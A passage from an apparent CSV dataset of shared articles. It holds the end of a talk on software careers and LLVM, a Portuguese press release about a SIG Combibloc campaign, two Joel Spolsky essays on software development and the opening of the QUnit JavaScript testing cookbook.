that way. It is your responsibility to change the industry and its bias towards more inclusion. It is your duty to send the elevator down. Take conscious decisions in your life. Be aware of your actions and their effect. Do not blush or be embarrased for changing your opinions. Say ""I'm sorry"" when required. Listen. Do not be a hotshot. Have integrity and self-respect. Do not critisize or make fun of the technology choices of your peers; for other people will have their own reasons to choose them, and they must be respected. Be prepared to change your mind at any time through learning. One day you might like Windows. One day you might like Android. I am actually liking some parts of Android lately. And that is OK. 9. LLVM Everybody is raving about Swift, but in reality what I pay more attention to these days is LLVM itself. I think LLVM is the most important software project today, as measured in its long-term impact. Objective-C blocks, Rust & Swift (the two most loved strongly typed and compiled programming languages in the 2016 StackOverflow developer survey ,) Dropbox Pyston , the Clang Static Analyser, ARC, Google Souper , Emscripten , LLVMSharp , Microsoft LLILC , Rubymotion , cheerp , watchOS apps, the Android NDK , Metal , all of these things were born out or powered by LLVM. There are compilers using LLVM as a backend for pretty much all the most important languages of today. The .NET CLR will eventually interoperate with it, and Mono already uses it. Facebook has tried to integrate LLVM with HHVM , and WebKit recently switched from LLVM to the new B3 JIT JavaScript compiler . LLVM is cross-platform , cross-CPU-architecture, cross-language, cross-compiler, cross-eyed-tested, free as in gratis and free as a bird. Learn all you can about LLVM. This is the galaxy where true innovation is happening now. This is the foundation for the next 20 years. 10. Follow Your Gut I had the gut feeling .NET was going to be big when I watched its introduction in June 2000 . I had the gut feeling the iPhone was going to be big when I watched its introduction in 2007 . In both cases people laughed at my face, literally. In both cases I followed my gut feeling and I guess things worked out well. Follow your gut. You might be lucky, too. 11. APIs Are King Great APIs enable great apps. If the API sucks, the app will suck, too, no matter how beautiful the design. Remember that chunky is better than chatty , and that clients should be dumb; push as much logic as you can down to the API. Do not invent your own security protocols. Learn a couple of server-side technologies, and make sure Node is one of those. Leave REST aside and embrace Socket.io, ZeroMQ, RabbitMQ, Erlang, XMPP; explore realtime as the next step in app development. Realtime is not only for chat apps. Remove polling from the equation forever. Oh, and start building bots around those APIs. Just saying. 12. Fight Complexity Simpler is better. Always. Remember the KISS principle. And I do not mean only at the UI level, but all the way until the deepest layers of your code. Refactoring, unit tests, code reviews, pull requests, all of these tools are at your disposal to make sure that the code you ship is the simplest possible architecture that works. This is how you build resilient systems for the long term. Conclusion The most important thing to remember is that your age does not matter. One of my sons said to me, ""Impossible, Dad. Mathematicians do all their best work by the time they're 40. And you're over 80. It's impossible for you to have a good idea now."" If you're still awake and alert mentally when you're over 80, you've got the advantage that you've lived a long time and you've seen many things, and you get perspective. I'm 86 now, and it's in the last few years that I've had these ideas. New ideas come along and you pick up bits here and there, and the time is ripe now, whereas it might not have been ripe five or 10 years ago. Michael Atiyah , Fields Medal and Abel Prize winner Mathematician, quoted in a Wired article. As long as your heart tells you to keep on coding and building new things, you will be young, forever. In 2035, exactly 19 years from now, somebody will give a talk at a software conference similar to this one, starting like this: ""Hi, I am 42 years old, and this is my story."" Hopefully one of you will be giving that presentation; otherwise, it will be an AI bot. You will provide some anecdotical facts about 2016, for example that it was the year when David Bowie , Umberto Eco , Gato Barbieri and Johan Cruyff passed away, or when SQL Server was made available in Linux , or when Google AlphaGo beat a Go champion, or when the Panama Papers and the Turkish Citizenship Database were leaked the same day, or when Google considered using Swift for Android for the first time , or as the last year in which people enjoyed this useless thing called privacy. We will be three years away from the Year 2038 Problem and people will be really nervous about it. Of course I do not know what will happen 19 years from now, but I can tell you three things that will happen for sure: Somebody will ask a question in Stack Overflow about how to filter email addresses using regular expressions. Somebody will release a new JavaScript framework. Somebody will build something cool on top of LLVM. And maybe you will remember this talk with a smile. Thank you so much for your attention.",en
1461960326,CONTENT SHARED,-2333243857499586461,-8860671864164757449,-2004113662462906530,,,,HTML,http://www.pack.com.br/blog/index.php/2016/04/28/sig-combibloc-lanca-campanha-para-americas-e-consolida-sua-proposta-de-valor/,SIG Combibloc lança campanha para Américas e consolida sua proposta de valor,"""Soluções sob medida, pensadas de dentro para fora."" Com este posicionamento, a nova campanha de comunicação para as Américas, da SIG Combibloc, reapresenta a companhia e sua proposta diferenciada de valor que é trabalhar junto aos clientes a fim de entregar soluções customizadas, projetadas com excelência e com foco no sucesso dos seus negócios. As peças da campanha trazem, por meio de exemplos e casos, respostas de como as soluções SIG aumentam as vendas e otimizam os custos, além de garantirem uma operação segura e sustentável. Clientes atuais e potenciais serão impactados em diferentes mídias e estratégias de comunicação ao longo deste ano, por peças que apresentam a marca, estimulam a busca por mais informações e convidam para um contato pessoal. Umaforma do potencial cliente compreender melhor como a SIG pode, efetivamente, contribuir com resultados. O plano de comunicação contempla diferentes peças, adaptadas às necessidades de cada um dos diferentes mercados nas Américas - EUA, México e Chile, além do Brasil. ""Pensar de dentro para fora resume nossa forma diferenciada de se relacionar e fazer negócios. Cada cliente é único. Compreendemos, em profundidade, as necessidades de cada um deles, entregando soluções que vão além das embalagens e que potencializam seu sucesso. E tudo isso com um atendimento muito próximo"", destaca Luciana Galvão, diretora de Marketing Américas da SIG Combibloc. O hotsite da campanha "" SIG de dentro para fora"" - www.sigdedentroparafora.com.br - traz os detalhes da proposta de valor e é o ponto central de contato entre o público-alvo e a companhia. Para potenciais clientes selecionados serão usadas abordagens via marketing direto, visitas presenciais, feiras e eventos do segmento. Anúncios em revistas especializadas, publicidade por meio da imprensa e mídias sociais também apoiarão as demais iniciativas, com o objetivo de aumentar, cada vez mais, a relevância da marca SIG e torná-la referência no fornecimento de embalagens cartonadas assépticas.",pt
1461961028,CONTENT SHARED,-8819557474068526071,3829784524040647339,-6516469391867779119,,,,HTML,http://www.joelonsoftware.com/articles/fog0000000017.html,Good Software Takes Ten Years. Get Used To it.,"Good Software Takes Ten Years. Get Used To it. Have a look at this little chart: [Source: Iris Associates ] This is a chart showing the number of installed seats of the Lotus Notes workgroup software, from the time it was introduced in 1989 through 2000. In fact when Notes 1.0 finally shipped it had been under development for five years . Notice just how dang long it took before Notes was really good enough that people started buying it. Indeed, from the first line of code written in 1984 until the hockey-stick part of the curve where things really started to turn up, about 11 years passed. During this time Ray Ozzie and his crew weren't drinking piña coladas in St Barts. They were writing code. The reason I'm telling you this story is that it's not unusual for a serious software application. The Oracle RDBMS has been around for 22 years now. Windows NT development started 12 years ago. Microsoft Word is positively long in the tooth; I remember seeing Word 1.0 for DOS in high school (that dates me, doesn't it? It was 1983.) To experienced software people, none of this is very surprising. You write the first version of your product, a few people use it, they might like it, but there are too many obvious missing features, performance problems, whatever, so a year later, you've got version 2.0. Everybody argues about which features are going to go into 2.0, 3.0, 4.0, because there are so many important things to do. I remember from the Excel days how many things we had that we just had to do. Pivot Tables. 3-D spreadsheets. VBA. Data access. When you finally shipped a new version to the waiting public, people fell all over themselves to buy it. Remember Windows 3.1? And it positively, absolutely needed long file names, it needed memory protection, it needed plug and play, it needed a zillion important things that we can't imagine living without, but there was no time, so those features had to wait for Windows 95. But that's just the first ten years. After that, nobody can think of a single feature that they really need. Is there anything you need that Excel 2000 or Windows 2000 doesn't already do? With all due respect to my friends on the Office team, I can't help but feel that there hasn't been a useful new feature in Office since about 1995. Many of the so-called ""features"" added since then, like the reviled ex- paperclip and auto-document-mangling, are just annoyances and O'Reilly is doing a nice business selling books telling you how to turn them off. So, it takes a long time to write a good program, but when it's done, it's done . Oh sure, you can crank out a new version every year or two, trying to get the upgrade revenues, but eventually people will ask: ""why fix what ain't broken?"" Failure to understand the ten-year rule leads to crucial business mistakes. Mistake number 1. The Get Big Fast syndrome. This fallacy of the Internet bubble has already been thoroughly discredited elsewhere, so I won't flog it too much. But an important observation is that the bubble companies that were trying to create software (as opposed to pet food shops) just didn't have enough time for their software to get good. My favorite example is desktop.com, which had the beginnings of something that would have been great if they had worked on it for 10 years. But the build-to-flip mentality, the huge overstaffing and overspending of the company, and the need to raise VC every ten minutes made it impossible to develop the software over 10 years. And the 1.0 version, like everything, was really morbidly awful, and nobody could imagine using it. But desktop.com 8.0 might have been seriously cool. We'll never know. Mistake number 2. the Overhype syndrome. When you release 1.0, you might want to actually keep it kind of quiet. Let the early adopters find it. If you market it and promote it too heavily, when people see what you've actually done, they will be underwhelmed. Desktop.com is an example of this, so is Marimba, and Groove: they had so much hype on day one that people stopped in and actually looked at their 1.0 release, trying to see what all the excitement was about, but like most 1.0 products, it was about as exciting as watching grass dry. So now there are a million people running around who haven't looked at Marimba since 1996, and who think it's still a dorky list box that downloads Java applets that was thrown together in about 4 months. Keeping 1.0 quiet means you have to be able to break even with fewer sales. And that means you need lower costs, which means fewer employees, which, in the early days of software development, is actually a really great idea, because if you can only afford 1 programmer at the beginning, the architecture is likely to be reasonably consistent and intelligent, instead of a big mishmash with dozens of conflicting ideas from hundreds of programmers that needs to be rewritten from scratch (like Netscape, according to the defenders of the decision to throw away all the source code and start over). Mistake number 3. Believing in Internet Time . Around 1996, the New York Times first noticed that new Netscape web browser releases were coming out every six months or so, much faster than the usual 2 year upgrade cycle people were used to from companies like Microsoft. This led to the myth that there was something called ""Internet time"" in which ""business moved faster."" Which would be nice, but it wasn't true. Software was not getting created any faster, it was just getting released more often. And in the early stages of a new software product, there are so many important things to add that you can do releases every six months and still add a bunch of great features that people Gotta Have. So you do it. But you're not writing software any faster than you did before. (I will give the Internet Explorer team credit. With IE versions 3.0 and 4.0 they probably created software about ten times faster than the industry norm. This had nothing to do with the Internet and everything to do with the fact that they had a fantastic, war-hardened team that benefited from 15 years of collective experience creating commercial software at Microsoft.) Mistake number 4. Running out of upgrade revenues when your software is done. A bit of industry lore: in the early days (late 1980s), the PC industry was growing so fast that almost all software was sold to first time users. Microsoft generally charged about $30 for an upgrade to their $500 software packages until somebody noticed that the growth from new users was running out, and too many copies were being bought as upgrades to justify the low price. Which got us to where we are today, with upgrades generally costing 50%-60% of the price of the full version and making up the majority of the sales. Now the trouble comes when you can't think of any new features, so you put in the paperclip, and then you take out the paperclip, and you try to charge people both times, and they aren't falling for it. That's when you start to wish that you had charged people for one year licenses, so you can make your product a subscription and have permission to keep taking their money even when you haven't added any new features. It's a neat accounting trick: if you sell a software package for $100, Wall Street will value that at $100. But if you can sell a one year license for $30, then you can claim that you're going to get recurring revenue of $30 for the next, say, 10 years, which is worth $200 to Wall Street. Tada! Stock price doubles! (Incidentally, that's how SAS charges for their software. They get something like 97% renewals every year.) The trouble is that with packaged software like Microsoft's, customers won't fall for it. Microsoft has been trying to get their customers to accept subscription-based software since the early 90's, and they get massive pushback from their customers every single time. Once people got used to the idea that you ""own"" the software that you bought, and you don't have to upgrade if you don't want the new features, that can be a big problem for the software company which is trying to sell a product that is already feature complete. Mistake number 5. The ""We'll Ship It When It's Ready"" syndrome. Which reminds me. What the hell is going on with Mozilla? I made fun of them more than a year ago because three years had passed and the damn thing was still not out the door. There's a frequently-obsolete chart on their web site which purports to show that they now think they will ship in Q4 2001. Since they don't actually have anything like a schedule based on estimates, I'm not sure why they think this. Ah, such is the state of software development in Internet Time Land. But I'm getting off topic. Yes, software takes 10 years to write, and no, there is no possible way a business can survive if you don't ship anything for 10 years. By the time you discount that revenue stream from 10 years in the future to today, you get bupkis , especially since business analysts like to pretend that everything past 5 years is just ""residual value"" when they make their fabricated, fictitious spreadsheets that convince them that investing in sock puppets at a $100,000,000 valuation is a pretty good idea. Anyway, getting good software over the course of 10 years assumes that for at least 8 of those years, you're getting good feedback from your customers, and good innovations from your competitors that you can copy, and good ideas from all the people that come to work for you because they believe that your version 1.0 is promising. You have to release early, incomplete versions -- but don't overhype them or advertise them on the Super Bowl, because they're just not that good, no matter how smart you are. Mistake number 6. Too-frequent upgrades (a.k.a. the Corel Syndrome). At the beginning, when you're adding new features and you don't have a lot of existing customers, you'll be able to release a new version every 6 months or so, and people will love you for the new features. After four or five releases like that, you have to slow down, or your existing customers will stop upgrading. They'll skip releases because they don't want the pain or expense of upgrading. Once they skip a release, they'll start to convince themselves that, hey, they don't always need the latest and greatest. I used Corel PhotoPaint 6.0 for 5 years. Yes, I know, it had all kinds of off-by-one bugs, but I knew all the off-by-one bugs and compensated by always dragging the selection one pixel to the right of where I thought it should be. Make a ten year plan. Make sure you can survive for 10 years, because the software products that bring in a billion dollars a year all took that long. Don't get too hung up on your version 1 and don't think, for a minute, that you have any hope of reaching large markets with your first version. Good software, like wine , takes time. Have you been wondering about Distributed Version Control? It has been a huge productivity boon for us, so I wrote Hg Init, a Mercurial tutorial -check it out! Next: Hard-assed Bug Fixin' Want to know more? You're reading Joel on Software , stuffed with years and years of completely raving mad articles about software development, managing software teams, designing user interfaces, running successful software companies, and rubber duckies. About the author. I'm Joel Spolsky, co-founder of Trello and Fog Creek Software , and CEO of Stack Exchange . More about me.",en
1461961727,CONTENT SHARED,-7876497512693688413,3829784524040647339,-6516469391867779119,,,,HTML,http://www.joelonsoftware.com/articles/fog0000000043.html,The Joel Test: 12 Steps to Better Code,"The Joel Test: 12 Steps to Better Code Have you ever heard of SEMA ? It's a fairly esoteric system for measuring how good a software team is. No, wait! Don't follow that link! It will take you about six years just to understand that stuff. So I've come up with my own, highly irresponsible, sloppy test to rate the quality of a software team. The great part about it is that it takes about 3 minutes. With all the time you save, you can go to medical school. The neat thing about The Joel Test is that it's easy to get a quick yes or no to each question. You don't have to figure out lines-of-code-per-day or average-bugs-per-inflection-point. Give your team 1 point for each ""yes"" answer. The bummer about The Joel Test is that you really shouldn't use it to make sure that your nuclear power plant software is safe. A score of 12 is perfect, 11 is tolerable, but 10 or lower and you've got serious problems. The truth is that most software organizations are running with a score of 2 or 3, and they need serious help, because companies like Microsoft run at 12 full-time. Of course, these are not the only factors that determine success or failure: in particular, if you have a great software team working on a product that nobody wants, well, people aren't going to want it. And it's possible to imagine a team of ""gunslingers"" that doesn't do any of this stuff that still manages to produce incredible software that changes the world. But, all else being equal, if you get these 12 things right, you'll have a disciplined team that can consistently deliver. 1. Do you use source control? I've used commercial source control packages, and I've used CVS , which is free, and let me tell you, CVS is fine . But if you don't have source control, you're going to stress out trying to get programmers to work together. Programmers have no way to know what other people did. Mistakes can't be rolled back easily. The other neat thing about source control systems is that the source code itself is checked out on every programmer's hard drive -- I've never heard of a project using source control that lost a lot of code. If the process takes any more than one step, it is prone to errors. And when you get closer to shipping, you want to have a very fast cycle of fixing the ""last"" bug, making the final EXEs, etc. If it takes 20 steps to compile the code, run the installation builder, etc., you're going to go crazy and you're going to make silly mistakes. For this very reason, the last company I worked at switched from WISE to InstallShield: we required that the installation process be able to run, from a script, automatically, overnight, using the NT scheduler, and WISE couldn't run from the scheduler overnight, so we threw it out. (The kind folks at WISE assure me that their latest version does support nightly builds.) Breaking the build is so bad (and so common) that it helps to make daily builds, to insure that no breakage goes unnoticed. On large teams, one good way to insure that breakages are fixed right away is to do the daily build every afternoon at, say, lunchtime. Everyone does as many checkins as possible before lunch. When they come back, the build is done. If it worked, great! Everybody checks out the latest version of the source and goes on working. If the build failed, you fix it, but everybody can keep on working with the pre-build, unbroken version of the source. On the Excel team we had a rule that whoever broke the build, as their ""punishment"", was responsible for babysitting the builds until someone else broke it. This was a good incentive not to break the build, and a good way to rotate everyone through the build process so that everyone learned how it worked. Read more about daily builds in my article Daily Builds are Your Friend . Bug databases can be complicated or simple. A minimal useful bug database must include the following data for every bug: complete steps to reproduce the bug expected behavior observed (buggy) behavior who it's assigned to whether it has been fixed or not If the complexity of bug tracking software is the only thing stopping you from tracking your bugs, just make a simple 5 column table with these crucial fields and start using it . For more on bug tracking, read Painless Bug Tracking . What they realized was that the project managers had been so insistent on keeping to the ""schedule"" that programmers simply rushed through the coding process, writing extremely bad code, because the bug fixing phase was not a part of the formal schedule. There was no attempt to keep the bug-count down. Quite the opposite. The story goes that one programmer, who had to write the code to calculate the height of a line of text, simply wrote ""return 12;"" and waited for the bug report to come in about how his function is not always correct. The schedule was merely a checklist of features waiting to be turned into bugs. In the post-mortem, this was referred to as ""infinite defects methodology"". To correct the problem, Microsoft universally adopted something called a ""zero defects methodology"". Many of the programmers in the company giggled, since it sounded like management thought they could reduce the bug count by executive fiat. Actually, ""zero defects"" meant that at any given time, the highest priority is to eliminate bugs before writing any new code. Here's why. In general, the longer you wait before fixing a bug, the costlier (in time and money) it is to fix. For example, when you make a typo or syntax error that the compiler catches, fixing it is basically trivial. When you have a bug in your code that you see the first time you try to run it, you will be able to fix it in no time at all, because all the code is still fresh in your mind. If you find a bug in some code that you wrote a few days ago, it will take you a while to hunt it down, but when you reread the code you wrote, you'll remember everything and you'll be able to fix the bug in a reasonable amount of time. But if you find a bug in code that you wrote a few months ago, you'll probably have forgotten a lot of things about that code, and it's much harder to fix. By that time you may be fixing somebody else's code, and they may be in Aruba on vacation, in which case, fixing the bug is like science: you have to be slow, methodical, and meticulous, and you can't be sure how long it will take to discover the cure. And if you find a bug in code that has already shipped , you're going to incur incredible expense getting it fixed. That's one reason to fix bugs right away: because it takes less time. There's another reason, which relates to the fact that it's easier to predict how long it will take to write new code than to fix an existing bug. For example, if I asked you to predict how long it would take to write the code to sort a list, you could give me a pretty good estimate. But if I asked you how to predict how long it would take to fix that bug where your code doesn't work if Internet Explorer 5.5 is installed, you can't even guess , because you don't know (by definition) what's causing the bug. It could take 3 days to track it down, or it could take 2 minutes. What this means is that if you have a schedule with a lot of bugs remaining to be fixed, the schedule is unreliable. But if you've fixed all the known bugs, and all that's left is new code, then your schedule will be stunningly more accurate. Another great thing about keeping the bug count at zero is that you can respond much faster to competition. Some programmers think of this as keeping the product ready to ship at all times. Then if your competitor introduces a killer new feature that is stealing your customers, you can implement just that feature and ship on the spot, without having to fix a large number of accumulated bugs. Unfortunately, that just doesn't cut it. There are too many planning decisions that the business needs to make well in advance of shipping the code: demos, trade shows, advertising, etc. And the only way to do this is to have a schedule, and to keep it up to date. The other crucial thing about having a schedule is that it forces you to decide what features you are going to do, and then it forces you to pick the least important features and cut them rather than slipping into featuritis (a.k.a. scope creep). Keeping schedules does not have to be hard. Read my article Painless Software Schedules , which describes a simple way to make great schedules. I'm not sure why this is, but it's probably because most programmers hate writing documents. As a result, when teams consisting solely of programmers attack a problem, they prefer to express their solution in code, rather than in documents. They would much rather dive in and write code than produce a spec first. At the design stage, when you discover problems, you can fix them easily by editing a few lines of text. Once the code is written, the cost of fixing problems is dramatically higher, both emotionally (people hate to throw away code) and in terms of time, so there's resistance to actually fixing the problems. Software that wasn't built from a spec usually winds up badly designed and the schedule gets out of control. This seems to have been the problem at Netscape, where the first four versions grew into such a mess that management stupidly decided to throw out the code and start over. And then they made this mistake all over again with Mozilla, creating a monster that spun out of control and took several years to get to alpha stage. My pet theory is that this problem can be fixed by teaching programmers to be less reluctant writers by sending them off to take an intensive course in writing . Another solution is to hire smart program managers who produce the written spec. In either case, you should enforce the simple rule ""no code without spec"". Learn all about writing specs by reading my 4-part series . 8. Do programmers have quiet working conditions? There are extensively documented productivity gains provided by giving knowledge workers space, quiet, and privacy. The classic software management book Peopleware documents these productivity benefits extensively. Here's the trouble. We all know that knowledge workers work best by getting into ""flow"", also known as being ""in the zone"", where they are fully concentrated on their work and fully tuned out of their environment. They lose track of time and produce great stuff through absolute concentration. This is when they get all of their productive work done. Writers, programmers, scientists, and even basketball players will tell you about being in the zone. The trouble is, getting into ""the zone"" is not easy. When you try to measure it, it looks like it takes an average of 15 minutes to start working at maximum productivity. Sometimes, if you're tired or have already done a lot of creative work that day, you just can't get into the zone and you spend the rest of your work day fiddling around, reading the web, playing Tetris. The other trouble is that it's so easy to get knocked out of the zone. Noise, phone calls, going out for lunch, having to drive 5 minutes to Starbucks for coffee, and interruptions by coworkers -- especially interruptions by coworkers -- all knock you out of the zone. If a coworker asks you a question, causing a 1 minute interruption, but this knocks you out of the zone badly enough that it takes you half an hour to get productive again, your overall productivity is in serious trouble. If you're in a noisy bullpen environment like the type that caffeinated dotcoms love to create, with marketing guys screaming on the phone next to programmers, your productivity will plunge as knowledge workers get interrupted time after time and never get into the zone. With programmers, it's especially hard. Productivity depends on being able to juggle a lot of little details in short term memory all at once. Any kind of interruption can cause these details to come crashing down. When you resume work, you can't remember any of the details (like local variable names you were using, or where you were up to in implementing that search algorithm) and you have to keep looking these things up, which slows you down a lot until you get back up to speed. Here's the simple algebra. Let's say (as the evidence seems to suggest) that if we interrupt a programmer, even for a minute, we're really blowing away 15 minutes of productivity. For this example, lets put two programmers, Jeff and Mutt, in open cubicles next to each other in a standard Dilbert veal-fattening farm. Mutt can't remember the name of the Unicode version of the strcpy function. He could look it up, which takes 30 seconds, or he could ask Jeff, which takes 15 seconds. Since he's sitting right next to Jeff, he asks Jeff. Jeff gets distracted and loses 15 minutes of productivity (to save Mutt 15 seconds). Now let's move them into separate offices with walls and doors. Now when Mutt can't remember the name of that function, he could look it up, which still takes 30 seconds, or he could ask Jeff, which now takes 45 seconds and involves standing up (not an easy task given the average physical fitness of programmers!). So he looks it up. So now Mutt loses 30 seconds of productivity, but we save 15 minutes for Jeff. Ahhh! 9. Do you use the best tools money can buy? Writing code in a compiled language is one of the last things that still can't be done instantly on a garden variety home computer. If your compilation process takes more than a few seconds, getting the latest and greatest computer is going to save you time. If compiling takes even 15 seconds, programmers will get bored while the compiler runs and switch over to reading The Onion , which will suck them in and kill hours of productivity. Debugging GUI code with a single monitor system is painful if not impossible. If you're writing GUI code, two monitors will make things much easier. Most programmers eventually have to manipulate bitmaps for icons or toolbars, and most programmers don't have a good bitmap editor available. Trying to use Microsoft Paint to manipulate bitmaps is a joke, but that's what most programmers have to do. At my last job , the system administrator kept sending me automated spam complaining that I was using more than ... get this ... 220 megabytes of hard drive space on the server. I pointed out that given the price of hard drives these days, the cost of this space was significantly less than the cost of the toilet paper I used. Spending even 10 minutes cleaning up my directory would be a fabulous waste of productivity. Top notch development teams don't torture their programmers. Even minor frustrations caused by using underpowered tools add up, making programmers grumpy and unhappy. And a grumpy programmer is an unproductive programmer. To add to all this... programmers are easily bribed by giving them the coolest, latest stuff. This is a far cheaper way to get them to work for you than actually paying competitive salaries! Read Top Five (Wrong) Reasons You Don't Have Testers , an article I wrote about this subject. Would you hire a caterer for your wedding without tasting their food? I doubt it. (Unless it's Aunt Marge, and she would hate you for ever if you didn't let her make her ""famous"" chopped liver cake). Yet, every day, programmers are hired on the basis of an impressive resumé or because the interviewer enjoyed chatting with them. Or they are asked trivia questions (""what's the difference between CreateDialog() and DialogBox()?"") which could be answered by looking at the documentation. You don't care if they have memorized thousands of trivia about programming, you care if they are able to produce code. Or, even worse, they are asked ""AHA!"" questions: the kind of questions that seem easy when you know the answer, but if you don't know the answer, they are impossible. Please, just stop doing this . Do whatever you want during interviews, but make the candidate write some code . (For more advice, read my Guerrilla Guide to Interviewing .) 12. Do you do hallway usability testing? A hallway usability test is where you grab the next person that passes by in the hallway and force them to try to use the code you just wrote. If you do this to five people, you will learn 95% of what there is to learn about usability problems in your code. Good user interface design is not as hard as you would think, and it's crucial if you want customers to love and buy your product. You can read my free online book on UI design , a short primer for programmers. But the most important thing about user interfaces is that if you show your program to a handful of people, (in fact, five or six is enough) you will quickly discover the biggest problems people are having. Read Jakob Nielsen's article explaining why. Even if your UI design skills are lacking, as long as you force yourself to do hallway usability tests, which cost nothing, your UI will be much, much better. Have you been wondering about Distributed Version Control? It has been a huge productivity boon for us, so I wrote Hg Init, a Mercurial tutorial -check it out! Next: Wasting Money on Cats Want to know more? You're reading Joel on Software , stuffed with years and years of completely raving mad articles about software development, managing software teams, designing user interfaces, running successful software companies, and rubber duckies. About the author. I'm Joel Spolsky, co-founder of Trello and Fog Creek Software , and CEO of Stack Exchange . More about me.",en
1461964132,CONTENT SHARED,8483892789913825147,6003902177042843076,3083498611046600561,,,,HTML,http://qunitjs.com/cookbook/,Cookbook,"Introduction Automated testing of software is an essential tool in development. Unit tests are the basic building blocks for automated tests: each component, the unit, of software is accompanied by a test that can be run by a test runner over and over again without any human interaction. In other words, you can write a test once and run it as often as necessary without any additional cost. In addition to the benefits of good test coverage, testing can also drive the design of software, known as test-driven design , where a test is written before an implementation. You start writing a very simple test, verify that it fails (because the code to be tested doesn't exist yet), and then write the necessary implementation until the test passes. Once that happens, you extend the test to cover more of the desired functionality and implement again. By repeating those steps, the resulting code looks usually much different from what you'd get by starting with the implementation. Unit testing in JavaScript isn't much different from in other programming languages. You need a small framework that provides a test runner, as well as some utilities to write the actual tests. Automating Unit Testing Problem You want to automate testing your applications and frameworks, maybe even benefit from test-driven design. Writing your own testing framework may be tempting, but it involves a lot of work to cover all the details and special requirements of testing JavaScript code in various browsers. Solution While there are other unit testing frameworks for JavaScript, you've decided to check out QUnit. QUnit is jQuery's unit test framework and is used by a wide variety of projects. To use QUnit, you only need to include two QUnit files on your HTML page. QUnit consists of qunit.js , the test runner and testing framework, and qunit.css , which styles the test suite page to display test results: Opening this file in a browser gives the result shown below: The only markup necessary in the <body> element is a <div> with id=""qunit-fixture"" . This is required for all QUnit tests, even when the element itself is empty. This provides the fixture for tests, which will be explained in the section called ""Keeping Tests Atomic"" . The interesting part is the <script> element following the qunit.js include. It consists of a call to the test function, with two arguments: the name of the test as a string, which is later used to display the test results, and a function. The function contains the actual testing code, which involves one or more assertions. The example uses one assertion, equal() , which is explained in detail in Asserting Results . Note that there is no document-ready block. The test runner handles that: calling QUnit.test() just adds the test to a queue, and its execution is deferred and controlled by the test runner. Discussion The header of the test suite displays the page title, a green bar when all tests passed (a red bar when at least one test failed), a bar with a few checkboxes to filter test results and a blue bar with the navigator.userAgent string (handy for screenshots of test results in different browsers). Of the checkboxes, ""Hide passed tests"" is useful when a lot of tests ran and only a few failed. Checking the checkbox will hide everything that passed, making it easier to focus on the tests that failed (see also the Efficient Development section below). Checking ""Check for Globals"" causes QUnit to make a list of all properties on the window object, before and after each test, then checking for differences. If properties are added or removed, the test will fail, listing the difference. This helps to make sure your test code and code under test doesn't accidentally export any global properties. The ""No try-catch"" checkbox tells QUnit to run your test outside of a try-catch block. When your test throws an exception, the testrunner will die, unable to continue running, but you'll get a ""native"" exception, which can help tremendously debugging old browsers with bad debugging support like Internet Explorer 6 (JavaScript sucks at rethrowing exceptions). Below the header is a summary, showing the total time it took to run all tests as well as the overall number of total and failed assertions. While tests are still running, it will show which test is currently being executed. The actual contents of the page are the test results. Each entry in the numbered list starts with the name of the test followed by, in parentheses, the number of failed, passed, and total assertions. Clicking the entry will show the results of each assertion, usually with details about expected and actual results. The ""Rerun"" link at the end will run that test on its own. Asserting Results Problem Essential elements of any unit test are assertions. The author of the test needs to express the results expected and have the unit testing framework compare them to the actual values that an implementation produces. Solution QUnit provides a number of built-in assertions . Let's look at three of those: ok( truthy [, message ] ) The most basic one is ok() , which requires just one argument. If the argument evaluates to true, the assertion passes; otherwise, it fails. In addition, it accepts a string to display as a message in the test results: equal( actual, expected [, message ] ) The equal assertion uses the simple comparison operator ( == ) to compare the actual and expected arguments. When they are equal, the assertion passes; otherwise, it fails. When it fails, both actual and expected values are displayed in the test result, in addition to a given message: Compared to ok() , equal() makes it much easier to debug tests that failed, because it's obvious which value caused the test to fail. When you need a strict comparison ( === ), use strictEqual() instead. deepEqual( actual, expected [, message ] ) The deepEqual() assertion can be used just like equal() and is a better choice in most cases. Instead of the simple comparison operator ( == ), it uses the more accurate comparison operator ( === ). That way, undefined doesn't equal null , 0 , or the empty string ( """" ). It also compares the content of objects so that {key: value} is equal to {key: value} , even when comparing two objects with distinct identities. deepEqual() also handles NaN, dates, regular expressions, arrays, and functions, while equal() would just check the object identity: In case you want to explicitly not compare the content of two values, equal() can still be used. In general, deepEqual() is the better choice. Synchronous Callbacks Problem Occasionally, callback assertions in the code might not be called at all, causing the test to fail silently. Solution QUnit provides a special assertion to define the number of assertions a test contains. If the test completes without the expected number of assertions, it will fail. In order to indicate the expected number of assertion, call assert.expect() at the start of a test, with the number of expected assertions as the only argument: Practical Example: Discussion assert.expect() provides the most value when actually testing callbacks. When all code is running in the scope of the test function, assert.expect() provides no additional value-any error preventing assertions to run would cause the test to fail anyway, because the test runner catches the error and fails the unit. Asynchronous Callbacks Problem While assert.expect() is useful to test synchronous callbacks (see the section called ""Synchronous Callbacks"" ), it can fall short for asynchronous callbacks. Asynchronous callbacks conflict with the way the test runner queues and executes tests. When code under test starts a timeout or interval or an AJAX request, the test runner will just continue running the rest of the test, as well as other tests following it, instead of waiting for the result of the asynchronous operation. Solution For every asynchronous operation in your QUnit.test() callback, use assert.async() , which returns a ""done"" function that should be called when the operation has completed. Testing User Actions Problem Code that relies on actions initiated by the user can't be tested by just calling a function. Usually an anonymous function is bound to an element's event, e.g., a click, which has to be simulated. Solution You can trigger the event using jQuery's trigger() method and test that the expected behavior occurred. If you don't want the native browser events to be triggered, you can use triggerHandler() to just execute the bound event handlers. This is useful when testing a click event on a link, where trigger() would cause the browser to change the location, which is hardly desired behavior in a test. Let's assume we have a simple key logger that we want to test: We can manually trigger a keypress event to see whether the logger is working: Discussion If your event handler doesn't rely on any specific properties of the event, you can just call .trigger( eventType ) . However, if your event handler does rely on specific properties of the event, you will need to create an event object using $.Event with the necessary properties, as shown previously. It's also important to trigger all relevant events for complex behaviors such as dragging, which is comprised of mousedown, at least one mousemove, and a mouseup. Keep in mind that even some events that seem simple are actually compound; e.g., a click is really a mousedown, mouseup, and then click. Whether you actually need to trigger all three of these depends on the code under test. Triggering a click works for most cases. If thats not enough, you have a few framework options that help simulating user events: syn ""is a synthetic event library that pretty much handles typing, clicking, moving, and dragging exactly how a real user would perform those actions"". Used by FuncUnit, which is based on QUnit, for functional testing of web applications. JSRobot - ""A testing utility for web-apps that can generate real keystrokes rather than simply simulating the JavaScript event firing. This allows the keystroke to trigger the built-in browser behaviour which isn't otherwise possible."" DOH Robot ""provides an API that enables testers to automate their UI tests using real, cross-platform, system-level input events"". This gets you the closest to ""real"" browser events, but uses Java applets for that. keyvent.js - ""Keyboard events simulator."" Keeping Tests Atomic Problem When tests are lumped 